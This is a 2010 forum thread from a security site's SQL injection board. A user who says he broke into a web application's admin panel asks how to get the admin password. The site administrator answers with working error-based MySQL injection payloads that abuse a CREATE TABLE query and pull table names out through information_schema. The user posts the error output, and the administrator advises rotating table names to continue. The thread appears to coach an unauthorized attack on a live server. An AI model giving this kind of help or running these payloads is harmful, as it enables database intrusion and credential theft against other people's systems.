|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Found possible SQL injection inside admin form field |
|
Posted: Thu Oct 14, 2010 9:34 am |
|
|
sabb3r |
Beginner |
|
|
Joined: Oct 14, 2010 |
Posts: 3 |
|
|
|
|
|
|
|
Alright, been ripping my hair out with this injection, its from an admin panel which I managed to get into which contains the mysql connection settings for the app, I have tried all the union, select etc.. syntax and still not getting anywhere..
this is the error I get if I insert ' into the field which asks for table prefix...
Could not create DB table '\'bans'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'bans (created timestamp(14) NOT NULL, userid int(11) default NULL, banneduseri' at line 1
I already have the DB name, user, pass but mysql doesnt allow remote connections so its pretty usless? Obviously trying to get the admin password, anyone have any suggestions? Getting a full list of tables would be a start... |
|
|
|
|
|
|
|
|
Posted: Thu Oct 14, 2010 5:50 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
It seems, that you are able to manipulate with "CREATE TABLE" sql query.
I did some tests @localhost and successful exploitation was possible.
You have error feedback from target server, so you can see sql error messages? Try this two test strings:
Code: |
foo SELECT IF(1,(SELECT 1 UNION ALL SELECT 1),1)--
foo SELECT IF(0,(SELECT 1 UNION ALL SELECT 1),1)--
|
Do you see error message "#1242 - Subquery returns more than 1 row"?
More advanced test:
Code: |
foo SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()LIMIT 2,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x--
|
It should reveal one of the table names from current database:
Code: |
#1062 - Duplicate entry 'cpg14x_bridge1' for key 1
|
Please let me know about results and be sure to include sql error messages. |
|
|
|
|
|
|
|
|
Posted: Fri Oct 15, 2010 3:29 am |
|
|
sabb3r |
Beginner |
|
|
Joined: Oct 14, 2010 |
Posts: 3 |
|
|
|
|
|
|
|
You are a legend warexe, thanks for your quick response!
The first test I did the error came as
first test results -
Could not create DB table 'foo SELECT IF(1,(SELECT 1 UNION ALL SELECT 1),1)-- bans'
Subquery returns more than 1 row
after attempting it again...
Could not create DB table 'foo SELECT IF(1,(SELECT 1 UNION ALL SELECT 1),1)-- bans'
Table 'foo' already exists
second test -
Could not create DB table 'foo SELECT IF(0,(SELECT 1 UNION ALL SELECT 1),1)-- connections'
Table 'foo' already exists
third test -
Could not create DB table 'foo SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()LIMIT 2,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x-- bans'
Table 'foo' already exists |
|
|
|
|
|
|
|
|
Posted: Fri Oct 15, 2010 8:49 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Well, as sideproduct, you will have new tables created.
If you can drop those new tables, like 'foo', then do it.
Or use different table name every time:
foo01,foo02,foo03 ...
Try that last test, that I was suggesting, with different table name, as explained above. If you see sql error message, let me know.
"Subquery returns more ..." error message is good sign and shows, that
target system acts as expected. |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|